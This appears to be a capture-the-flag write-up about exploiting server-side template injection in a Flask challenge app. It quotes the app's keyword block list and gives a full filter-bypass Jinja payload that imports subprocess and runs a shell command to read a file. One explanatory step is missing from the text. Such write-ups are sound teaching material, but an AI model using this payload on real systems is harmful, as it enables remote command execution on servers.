Congenial Octo Couscous

Try filling out the form once -- it returns some of our own input. Sign of XSS or SSTI. <b>1</b> doesn't do anything, but {{config}} does.

SERVER_FILEPATH&#39;: &#39;/;}&gt;.

This line ^^^ in particular looks interesting. Visiting the link / reveals the source code for the challenge, which includes some code about filtration.

if '{' in text or '}' in text:
        illegal = ['"', 'class', '[', ']', 'dict', 'sys', 'os', 'eval', 'exec', 'config.']

So it seems like the challenge is to bypass the filter to read the strategy guide. Given flask is written in python, it would make sense to import a module that can execute commands; althought os is filtered, subprocess is not, and now the only challenge is figuring out how to import. After a fair bit of googling, it turns out


Can be used to import a module. Combining this with subprocess we get a final payload of:

{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('subprocess')|attr('getoutput')('cat strategyguide.txt')}}

and reading the file gives us: Best formation that wins every time: DDDDD DLLLD DLHLD DLLLD DDDDD Key: D=Drone L=Landscaper H=HQ Beginning of game strategy:


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